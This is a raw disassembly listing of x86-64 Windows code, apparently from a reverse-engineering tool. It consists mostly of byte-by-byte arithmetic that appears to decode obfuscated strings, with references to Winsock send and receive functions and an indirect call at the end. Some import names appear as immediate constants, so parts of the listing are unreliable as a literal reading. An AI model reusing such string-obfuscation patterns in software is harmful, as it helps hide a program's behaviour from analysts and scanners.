mov byte [rsp + 0x6c], r8b
and cl, 0x96
mov r8b, 0x8b
add cl, cl
movzx r11d, r10b
sub al, cl
mov bl, 0xd6
add dl, al
mov ecx, 8
mov byte [rsp + 0x6d], dl
mov dil, 0x83
movzx edx, byte [rsp + 0x6e]
mov sil, 0xb7
movzx eax, dl
mov r14b, 0xe9
and al, 0x97
mov r15b, 0xb3
sub cl, al
movzx r13d, r12b
add cl, cl
add dl, cl
movzx ecx, byte [rsp + 0x6f]
movzx eax, cl
mov byte [rsp + 0x6e], dl
and al, 0x98
mov edx, reloc.WS2_32.dll_recvfrom
add al, al
sub dl, al
xor eax, eax
mov qword [rbp - 0x10], rax
add cl, dl
mov qword [rsp + 0x47], rax
mov dl, 0x90
mov word [rsp + 0x4f], ax
mov byte [rsp + 0x6f], cl
mov cl, 0x96
movzx eax, cl
and al, 0x58
add al, al
sub byte [rbp - 0x20], al
movzx eax, dl
add cl, byte [rbp - 0x20]
and al, 0x59
add al, al
mov byte [rsp + 0x30], cl
mov ecx, 0xf1
sub cl, al
movzx eax, r8b
and al, 0x5a
add dl, cl
add al, al
mov byte [rsp + 0x31], dl
mov ecx, 0xf2
sub cl, al
movzx eax, r9b
add r8b, cl
and al, 0x5b
add al, al
mov byte [rsp + 0x32], r8b
mov ecx, 0xf3
sub cl, al
movzx eax, r10b
add r9b, cl
mov byte [rsp + 0x33], r9b
and al, 0x5c
mov ecx, 0xf4
add al, al
mov edx, 0xfd
sub cl, al
movzx eax, r11b
add r10b, cl
and al, 0x5d
add al, al
mov byte [rsp + 0x34], r10b
mov ecx, 0xf5
sub cl, al
mov eax, 0xf6
add r11b, cl
movzx ecx, bl
and cl, 0x5e
mov byte [rsp + 0x35], r11b
add cl, cl
sub al, cl
movzx ecx, dil
add bl, al
and cl, 0x5f
add cl, cl
mov byte [rsp + 0x36], bl
mov eax, 0xf7
sub al, cl
movzx ecx, sil
add dil, al
and cl, 0x60
add cl, cl
mov byte [rsp + 0x37], dil
mov eax, 0xf8
sub al, cl
movzx ecx, r14b
add sil, al
and cl, 0x61
add cl, cl
mov byte [rsp + 0x38], sil
mov eax, 0xf9
sub al, cl
mov ecx, 0xfa
add r14b, al
movzx eax, r15b
and al, 0x62
mov byte [rsp + 0x39], r14b
add al, al
sub cl, al
movzx eax, r12b
and al, 0x63
add r15b, cl
add al, al
mov byte [rsp + 0x3a], r15b
mov ecx, 0xfb
sub cl, al
movzx eax, r13b
and al, 0x64
add r12b, cl
add al, al
mov byte [rsp + 0x3b], r12b
mov ecx, 0xfc
sub cl, al
add r13b, cl
mov cl, 0xb9
movzx eax, cl
mov byte [rsp + 0x3c], r13b
and al, 0x65
add al, al
sub dl, al
add cl, dl
mov edx, 0xfe
mov byte [rsp + 0x3d], cl
mov cl, 0xee
movzx eax, cl
and al, 0x66
add al, al
sub dl, al
add cl, dl
mov byte [rsp + 0x3e], cl
mov cl, 0xbc
movzx eax, cl
and al, 0x67
add al, al
mov edx, 0xff
sub dl, al
mov r8d, 2
add cl, dl
mov r9d, 3
mov byte [rsp + 0x3f], cl
mov dl, 0x89
movzx eax, dl
mov r10d, 5
and al, 0x68
movzx eax, al
imul ecx, eax, 0xfe
add dl, cl
mov cl, 0xb2
movzx eax, cl
mov byte [rsp + 0x40], dl
and al, 0x69
mov edx, 1
add al, al
sub dl, al
mov eax, r8d
add cl, dl
mov dl, 0xb6
mov byte [rsp + 0x41], cl
movzx ecx, dl
and cl, 0x6a
add cl, cl
sub al, cl
add dl, al
mov eax, r9d
mov byte [rsp + 0x42], dl
mov dl, 0xa6
movzx ecx, dl
and cl, 0x6b
add cl, cl
sub al, cl
mov cl, 0xb9
add dl, al
movzx eax, cl
and al, 0x6c
mov byte [rsp + 0x43], dl
sub r8b, al
mov dl, 0xe4
add r8b, r8b
mov eax, r10d
add cl, r8b
mov r8, qword [rbp - 0x10]
mov byte [rsp + 0x44], cl
movzx ecx, dl
and cl, 0x6d
add cl, cl
sub al, cl
mov cl, 6
add dl, al
movzx eax, cl
and al, 0x6e
mov byte [rsp + 0x45], dl
sub r9b, al
add r9b, r9b
add cl, r9b
mov r9d, 7
mov byte [rsp + 0x46], cl
mov eax, r9d
movzx ecx, r8b
and cl, 0x6f
add cl, cl
sub al, cl
movzx ecx, byte [rsp + 0x48]
lea edx, [rax + r8]
movzx eax, cl
mov byte [rsp + 0x47], dl
and al, 0x70
mov edx, 4
sub dl, al
add dl, dl
add cl, dl
mov byte [rsp + 0x48], cl
movzx ecx, byte [rsp + 0x49]
movzx eax, cl
and al, 0x71
add al, al
mov edx, 9
sub dl, al
add cl, dl
mov edx, 0xb
mov byte [rsp + 0x49], cl
movzx ecx, byte [rsp + 0x4a]
movzx eax, cl
and al, 0x72
sub r10b, al
add r10b, r10b
add cl, r10b
mov byte [rsp + 0x4a], cl
movzx ecx, byte [rsp + 0x4b]
movzx eax, cl
and al, 0x73
add al, al
sub dl, al
add cl, dl
mov edx, 6
mov byte [rsp + 0x4b], cl
movzx ecx, byte [rsp + 0x4c]
movzx eax, cl
and al, 0x74
sub dl, al
add dl, dl
add cl, dl
mov edx, recvfrom
mov byte [rsp + 0x4c], cl
movzx ecx, byte [rsp + 0x4d]
movzx eax, cl
and al, 0x75
add al, al
sub dl, al
add cl, dl
mov edx, 8
mov byte [rsp + 0x4d], cl
movzx ecx, byte [rsp + 0x4e]
movzx eax, cl
and al, 0x76
sub r9b, al
movzx eax, r8b
and al, 0x77
add r9b, r9b
add cl, r9b
add al, al
mov byte [rsp + 0x4e], cl
mov ecx, recvfrom
sub cl, al
add r8b, cl
movzx ecx, byte [rsp + 0x50]
movzx eax, cl
mov byte [rsp + 0x4f], r8b
and al, 0x78
lea r8, [rsp + 0x58]
sub dl, al
add dl, dl
add cl, dl
lea rdx, [rsp + 0x30]
mov byte [rsp + 0x50], cl
jmp 0x14000e2f2
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov cl, 0xb6
mov qword [rsp + 0x64], r13
movzx eax, cl
mov word [rsp + 0x6c], r13w
and al, 0x7c
mov dl, 0xb8
sub byte [rbp - 0x24], al
mov r8b, 0xa6
mov eax, dword [rbp - 0x24]
mov r9b, 0xba
add al, al
mov r11b, 5
add cl, al
mov bl, 0x4b
mov byte [rsp + 0x58], cl
movzx eax, dl
and al, 0x7d
mov ecx, 0x19
add al, al
mov dil, 0x55
sub cl, al
mov sil, 0x52
add dl, cl
movzx eax, r8b
and al, 0x7e
mov byte [rsp + 0x59], dl
mov ecx, recvfrom
mov r14b, 0x56
sub cl, al
mov r10b, 0x50
add cl, cl
mov eax, 0x1b
add r8b, cl
movzx r15d, r10b
movzx ecx, r9b
mov byte [rsp + 0x5a], r8b
and cl, 0x7f
add r10b, 0x1c
add cl, cl
mov byte [rsp + 0x5c], r10b
sub al, cl
mov r12b, 0xe3
add r9b, al
mov ecx, 0x1d
movzx eax, r11b
mov byte [rsp + 0x5b], r9b
and al, 0x81
add al, al
sub cl, al
movzx eax, bl
add r11b, cl
and al, 0x82
mov ecx, recvfrom
mov byte [rsp + 0x5d], r11b
sub cl, al
movzx eax, dil
add cl, cl
and al, 0x83
add bl, cl
add al, al
mov ecx, dword [rbp - 0x70]
sub cl, al
mov byte [rsp + 0x5e], bl
add dil, cl
movzx eax, sil
and al, 0x84
mov byte [rsp + 0x5f], dil
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
movzx eax, r14b
add cl, cl
and al, 0x85
add sil, cl
add al, al
mov ecx, 0x21
mov byte [rsp + 0x60], sil
sub cl, al
movzx eax, r15b
add r14b, cl
mov byte [rsp + 0x61], r14b
and al, 0x86
mov edx, sendto
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
movzx eax, r12b
and al, 0x87
add cl, cl
add al, al
add r15b, cl
mov ecx, 0x23
mov byte [rsp + 0x62], r15b
sub cl, al
movzx eax, r13b
and al, 0x88
add r12b, cl
sub dl, al
mov byte [rsp + 0x63], r12b
add dl, dl
lea ecx, [rdx + r13]
mov edx, 0x25
mov byte [rsp + 0x64], cl
movzx ecx, byte [rsp + 0x65]
movzx eax, cl
and al, 0x89
add al, al
sub dl, al
add cl, dl
mov edx, reloc.WS2_32.dll_send
mov byte [rsp + 0x65], cl
movzx ecx, byte [rsp + 0x66]
movzx eax, cl
and al, 0x8a
sub dl, al
add dl, dl
add cl, dl
mov edx, 0x27
mov byte [rsp + 0x66], cl
movzx ecx, byte [rsp + 0x67]
movzx eax, cl
and al, 0x8b
add al, al
sub dl, al
add cl, dl
mov edx, reloc.WS2_32.dll_sendto
mov byte [rsp + 0x67], cl
movzx ecx, byte [rsp + 0x68]
movzx eax, cl
and al, 0x8c
sub dl, al
add dl, dl
add cl, dl
mov edx, 0x29
mov byte [rsp + 0x68], cl
movzx ecx, byte [rsp + 0x69]
movzx eax, cl
and al, 0x8d
add al, al
sub dl, al
add cl, dl
mov edx, reloc.WS2_32.dll_setsockopt
mov byte [rsp + 0x69], cl
movzx ecx, byte [rsp + 0x6a]
movzx eax, cl
and al, 0x8e
sub dl, al
add dl, dl
add cl, dl
mov edx, 0x2b
mov byte [rsp + 0x6a], cl
movzx ecx, byte [rsp + 0x6b]
movzx eax, cl
and al, 0x8f
add al, al
sub dl, al
movzx eax, r13b
add cl, dl
and al, 0x90
mov edx, 0x16
mov byte [rsp + 0x6b], cl
sub dl, al
add dl, dl
lea ecx, [rdx + r13]
mov byte [rsp + 0x6c], cl
mov edx, 0x2d
movzx ecx, byte [rsp + 0x6d]
movzx eax, cl
mov dword [rbp - 0x68], 0x5f5b4c56
and al, 0x91
mov dword [rbp - 0x64], 0x53864545
add al, al
mov dword [rbp - 0x60], 0x4d418557
sub dl, al
mov dword [rbp - 0x5c], 0x9f4a4b59
add cl, dl
mov dword [rbp - 0x58], 0x394b4b4c
movzx eax, r13b
mov byte [rsp + 0x6d], cl
and al, 0x92
mov dword [rbp - 0x54], 0x4c534d49
mov ecx, 0x17
mov dword [rbp - 0x50], 0x4b6b4251
sub cl, al
xor eax, eax
add cl, cl
mov qword [rbp - 0x4c], rax
add r13b, cl
mov word [rbp - 0x44], ax
mov byte [rsp + 0x6e], r13b
xor r9d, r9d
lea r10d, [rax + 0x1b]
mov byte [rbp - 0x42], al
nop word [rax + rax]
movzx r8d, byte [rbp + r9 - 0x68]
lea edx, [r9 + 0x66]
movzx eax, dl
mov ecx, r10d
and al, r8b
sub cl, al
add cl, cl
add cl, dl
lea edx, [r9 + 0x67]
add cl, r8b
movzx eax, dl
movzx r8d, byte [rbp + r9 - 0x67]
mov byte [rbp + r9 - 0x68], cl
and al, r8b
mov ecx, r10d
sub cl, al
add cl, cl
add cl, dl
lea edx, [r9 + 0x68]
add cl, r8b
movzx eax, dl
movzx r8d, byte [rbp + r9 - 0x66]
mov byte [rbp + r9 - 0x67], cl
and al, r8b
mov ecx, r10d
sub cl, al
add cl, cl
add cl, dl
lea edx, [r9 + 0x69]
add cl, r8b
movzx eax, dl
movzx r8d, byte [rbp + r9 - 0x65]
mov byte [rbp + r9 - 0x66], cl
and al, r8b
mov ecx, r10d
sub cl, al
add cl, cl
add cl, dl
lea edx, [r9 + 0x6a]
add cl, r8b
movzx eax, dl
movzx r8d, byte [rbp + r9 - 0x64]
mov byte [rbp + r9 - 0x65], cl
and al, r8b
mov ecx, r10d
sub cl, al
add cl, cl
add cl, dl
lea edx, [r9 + 0x6b]
add cl, r8b
movzx eax, dl
movzx r8d, byte [rbp + r9 - 0x63]
mov byte [rbp + r9 - 0x64], cl
and al, r8b
mov ecx, r10d
sub cl, al
add cl, cl
add cl, dl
lea edx, [r9 + 0x6c]
add cl, r8b
movzx eax, dl
movzx r8d, byte [rbp + r9 - 0x62]
mov byte [rbp + r9 - 0x63], cl
and al, r8b
mov ecx, r10d
sub cl, al
add cl, cl
add cl, dl
lea edx, [r9 + 0x6d]
add cl, r8b
movzx eax, dl
movzx r8d, byte [rbp + r9 - 0x61]
mov byte [rbp + r9 - 0x62], cl
and al, r8b
mov ecx, r10d
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx r8d, byte [rbp + r9 - 0x60]
mov byte [rbp + r9 - 0x61], cl
lea edx, [r9 + 0x6e]
mov ecx, r10d
movzx eax, dl
and al, r8b
sub cl, al
add cl, cl
add cl, dl
lea edx, [r9 + 0x6f]
add cl, r8b
movzx eax, dl
movzx r8d, byte [rbp + r9 - 0x5f]
mov byte [rbp + r9 - 0x60], cl
and al, r8b
mov ecx, r10d
sub cl, al
add cl, cl
add cl, dl
lea edx, [r9 + 0x70]
add cl, r8b
movzx eax, dl
movzx r8d, byte [rbp + r9 - 0x5e]
mov byte [rbp + r9 - 0x5f], cl
and al, r8b
mov ecx, r10d
sub cl, al
add cl, cl
add cl, dl
lea edx, [r9 + 0x71]
add cl, r8b
movzx eax, dl
movzx r8d, byte [rbp + r9 - 0x5d]
mov byte [rbp + r9 - 0x5e], cl
and al, r8b
mov ecx, r10d
sub cl, al
add cl, cl
add cl, dl
lea edx, [r9 + 0x72]
add cl, r8b
movzx eax, dl
movzx r8d, byte [rbp + r9 - 0x5c]
mov byte [rbp + r9 - 0x5d], cl
and al, r8b
mov ecx, r10d
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 - 0x5c], cl
add r9, 0xd
cmp r9, 0x27
jb 0x14000dbd0
lea r8, [rsp + 0x58]
lea rdx, [rbp - 0x68]
jmp 0x14000e2f2
mov cl, 6
mov qword [rsp + 0x64], r13
movzx eax, cl
mov dword [rsp + 0x6c], r13d
movzx r14d, cl
and al, 0xf0
sub byte [rbp - 0x28], al
movzx r9d, dil
mov eax, dword [rbp - 0x28]
xor dl, dl
add al, al
mov dil, 0xf5
add cl, al
mov r8b, 0xf6
mov byte [rsp + 0x58], cl
movzx eax, dl
and al, 0xf1
mov ecx, 0x61
add al, al
mov r10b, 8
sub cl, al
mov r11b, 0x45
movzx edx, cl
movzx eax, r8b
and al, 0xf2
mov byte [rsp + 0x59], dl
mov ecx, 0x31
mov bl, 3
sub cl, al
mov sil, 0xfa
add cl, cl
movzx eax, r9b
add r8b, cl
and al, 0xf3
add al, al
mov byte [rsp + 0x5a], r8b
mov ecx, 0x63
mov r15b, 0xf8
sub cl, al
mov r12b, 0x6b
add r9b, cl
movzx eax, r10b
and al, 0xf4
mov byte [rsp + 0x5b], r9b
mov ecx, 0x32
sub cl, al
mov eax, 0x65
add cl, cl
add r10b, cl
movzx ecx, r11b
and cl, dil
mov byte [rsp + 0x5c], r10b
add cl, cl
sub al, cl
mov ecx, 0x33
add r11b, al
movzx eax, bl
and al, 0xf6
mov byte [rsp + 0x5d], r11b
sub cl, al
mov eax, 0x67
add cl, cl
add bl, cl
movzx ecx, dil
and cl, 0xf7
mov byte [rsp + 0x5e], bl
add cl, cl
sub al, cl
mov ecx, 0x34
add dil, al
movzx eax, sil
and al, r15b
mov byte [rsp + 0x5f], dil
sub cl, al
movzx eax, r14b
add cl, cl
and al, 0xf9
add sil, cl
mov ecx, 0x69
mov byte [rsp + 0x60], sil
add al, al
sub cl, al
add byte [rsp + 0x68], 0x70
add r14b, cl
movzx eax, r15b
and al, 0xfa
mov byte [rsp + 0x61], r14b
mov edx, 0x36
mov ecx, 0x35
sub cl, al
movzx eax, r12b
and al, 0xfb
add cl, cl
add al, al
add r15b, cl
mov ecx, WSAGetLastError
mov byte [rsp + 0x62], r15b
sub cl, al
movzx eax, r13b
and al, 0xfc
add r12b, cl
sub dl, al
mov byte [rsp + 0x63], r12b
add dl, dl
lea ecx, [rdx + r13]
mov edx, WSAGetLastError
mov byte [rsp + 0x64], cl
movzx ecx, byte [rsp + 0x65]
movzx eax, cl
and al, 0xfd
add al, al
sub dl, al
add cl, dl
mov edx, 0x37
mov byte [rsp + 0x65], cl
movzx ecx, byte [rsp + 0x66]
movzx eax, cl
and al, 0xfe
sub dl, al
mov eax, reloc.WS2_32.dll_WSAGetLastError
sub al, byte [rsp + 0x67]
add dl, dl
add cl, dl
mov byte [rsp + 0x67], al
mov byte [rsp + 0x66], cl
mov edx, 0x71
movzx ecx, byte [rsp + 0x69]
movzx eax, cl
and al, 1
add al, al
sub dl, al
add cl, dl
mov edx, 0x39
mov byte [rsp + 0x69], cl
movzx ecx, byte [rsp + 0x6a]
movzx eax, cl
and al, 2
sub dl, al
add dl, dl
add cl, dl
mov edx, 0x73
mov byte [rsp + 0x6a], cl
movzx ecx, byte [rsp + 0x6b]
movzx eax, cl
and al, 3
add al, al
sub dl, al
movzx eax, r13b
add cl, dl
and al, 4
mov edx, 0x3a
mov byte [rsp + 0x6b], cl
sub dl, al
add dl, dl
lea ecx, [rdx + r13]
mov edx, 0x75
mov byte [rsp + 0x6c], cl
movzx ecx, byte [rsp + 0x6d]
movzx eax, cl
and al, 5
add al, al
sub dl, al
add cl, dl
mov r8b, 0xe2
mov byte [rsp + 0x6d], cl
mov edx, 0x3b
movzx ecx, byte [rsp + 0x6e]
mov r9b, 0xeb
movzx eax, cl
mov r10b, 0xe7
and al, 6
mov r11b, 0xe1
sub dl, al
mov bl, 0xed
add dl, dl
mov dil, 0x28
add cl, dl
mov sil, 0x9b
mov byte [rsp + 0x6e], cl
mov edx, 0x77
movzx ecx, byte [rsp + 0x6f]
mov r14b, 0x9f
movzx eax, cl
mov r15b, 0x2d
and al, 7
mov r12b, 0xe5
add al, al
sub dl, al
movzx eax, r13b
add cl, dl
and al, 8
mov byte [rsp + 0x6f], cl
mov dl, 0xec
mov ecx, 0x3c
sub cl, al
xor eax, eax
add cl, cl
mov qword [rbp - 0x10], rax
add r13b, cl
mov dword [rbp - 0x4c], eax
movzx ecx, dl
mov byte [rsp + 0x70], r13b
and cl, 0xd5
mov eax, 2
add cl, cl
mov r13b, 0xa5
sub al, cl
movzx ecx, r8b
add dl, al
and cl, 0xd6
add cl, cl
mov byte [rbp - 0x68], dl
mov edx, 3
mov eax, edx
sub al, cl
mov ecx, 2
add r8b, al
movzx eax, r9b
and al, 0xd7
mov byte [rbp - 0x67], r8b
sub cl, al
mov r8d, 5
add cl, cl
mov eax, r8d
add r9b, cl
movzx ecx, r10b
and cl, 0xd8
mov byte [rbp - 0x66], r9b
add cl, cl
sub al, cl
movzx ecx, bl
add r10b, al
and cl, 0xda
movzx eax, r11b
mov byte [rbp - 0x65], r10b
and al, 0xd9
sub dl, al
add dl, dl
add r11b, dl
mov edx, 7
mov eax, edx
mov byte [rbp - 0x64], r11b
add cl, cl
sub al, cl
mov r9d, 9
add bl, al
mov ecx, 4
movzx eax, dil
mov byte [rbp - 0x63], bl
and al, 0xdb
mov r10d, recvfrom
sub cl, al
mov r11d, sendto
add cl, cl
mov eax, r9d
add dil, cl
mov ebx, reloc.WS2_32.dll_recvfrom
movzx ecx, sil
mov byte [rbp - 0x62], dil
and cl, 0xdc
add cl, cl
sub al, cl
movzx ecx, r15b
and cl, 0xde
add sil, al
add cl, cl
mov byte [rbp - 0x61], sil
movzx eax, r14b
and al, 0xdd
sub r8b, al
add r8b, r8b
add r14b, r8b
mov r8d, recv
mov eax, r8d
mov byte [rbp - 0x60], r14b
sub al, cl
mov ecx, 6
add r15b, al
movzx eax, r12b
and al, 0xdf
mov byte [rbp - 0x5f], r15b
sub cl, al
mov eax, r10d
add cl, cl
add r12b, cl
movzx ecx, r13b
and cl, 0xe0
mov byte [rbp - 0x5e], r12b
add cl, cl
sub al, cl
mov cl, 0xd5
add r13b, al
movzx eax, cl
and al, 0xe1
mov byte [rbp - 0x5d], r13b
sub dl, al
mov eax, r11d
add dl, dl
add cl, dl
mov dl, 0xa3
mov byte [rbp - 0x5c], cl
movzx ecx, dl
and cl, 0xe2
add cl, cl
sub al, cl
mov cl, 0xa4
add dl, al
movzx eax, cl
mov byte [rbp - 0x5b], dl
and al, 0xe3
mov edx, 8
sub dl, al
mov eax, ebx
add dl, dl
add cl, dl
mov dl, 0x17
mov byte [rbp - 0x5a], cl
movzx ecx, dl
and cl, 0xe4
add cl, cl
sub al, cl
mov cl, 0xa6
add dl, al
mov byte [rbp - 0x59], dl
movzx eax, cl
mov edx, reloc.WS2_32.dll_send
and al, 0xe5
sub r9b, al
add r9b, r9b
add cl, r9b
mov byte [rbp - 0x58], cl
mov cl, 0xa3
movzx eax, cl
and al, 0xe6
add al, al
sub dl, al
add cl, dl
mov edx, 0xa
mov byte [rbp - 0x57], cl
mov cl, 0xdb
movzx eax, cl
and al, 0xe7
sub dl, al
add dl, dl
add cl, dl
mov edx, reloc.WS2_32.dll_setsockopt
mov byte [rbp - 0x56], cl
mov cl, 0xa1
movzx eax, cl
and al, 0xe8
add al, al
sub dl, al
add cl, dl
mov edx, 0x17
mov byte [rbp - 0x55], cl
mov cl, 0xd5
movzx eax, cl
and al, 0xe9
sub r8b, al
add r8b, r8b
add cl, r8b
mov byte [rbp - 0x54], cl
mov cl, 0xd5
movzx eax, cl
and al, 0xea
add al, al
sub dl, al
add cl, dl
mov edx, dword [rbp - 0x24]
mov byte [rbp - 0x53], cl
mov cl, 0xd3
movzx eax, cl
and al, 0xeb
sub dl, al
add dl, dl
add cl, dl
mov edx, 0x19
mov byte [rbp - 0x52], cl
mov cl, 0xd6
movzx eax, cl
and al, 0xec
add al, al
sub dl, al
add cl, dl
mov edx, 0x1b
mov byte [rbp - 0x51], cl
mov cl, 0xd5
movzx eax, cl
and al, 0xed
sub r10b, al
add r10b, r10b
add cl, r10b
mov byte [rbp - 0x50], cl
mov cl, 0xa8
movzx eax, cl
and al, 0xee
add al, al
sub dl, al
add cl, dl
mov dl, 0x1b
mov byte [rbp - 0x4f], cl
movzx eax, dl
and al, 0xef
mov ecx, recvfrom
sub cl, al
mov r8, qword [rbp - 0x10]
add cl, cl
add dl, cl
mov cl, 0x23
movzx eax, cl
mov byte [rbp - 0x4e], dl
and al, 0xf0
mov edx, 0x1d
add al, al
sub dl, al
movzx eax, r8b
add cl, dl
and al, 0xf1
mov edx, dword [rbp - 0x70]
sub r11b, al
mov byte [rbp - 0x4d], cl
add r11b, r11b
lea ecx, [r11 + r8]
mov byte [rbp - 0x4c], cl
movzx ecx, byte [rbp - 0x4b]
movzx eax, cl
and al, 0xf2
add al, al
sub dl, al
add cl, dl
movzx edx, byte [rbp - 0x4a]
movzx eax, dl
mov byte [rbp - 0x4b], cl
and al, 0xf3
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add dl, cl
movzx ecx, byte [rbp - 0x49]
mov byte [rbp - 0x4a], dl
movzx eax, cl
and al, 0xf4
mov edx, 0x21
add al, al
sub dl, al
movzx eax, r8b
add cl, dl
and al, 0xf5
sub bl, al
mov byte [rbp - 0x49], cl
add bl, bl
lea rdx, [rbp - 0x68]
add r8b, bl
mov byte [rbp - 0x48], r8b
lea r8, [rsp + 0x58]
mov r9d, reloc.WS2_32.dll_recv
xor ecx, ecx
call qword [rbp - 0x30]
xor eax, eax
mov rcx, qword [rbp + 0x30]
xor rcx, rsp
call fcn.1400c17f0
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret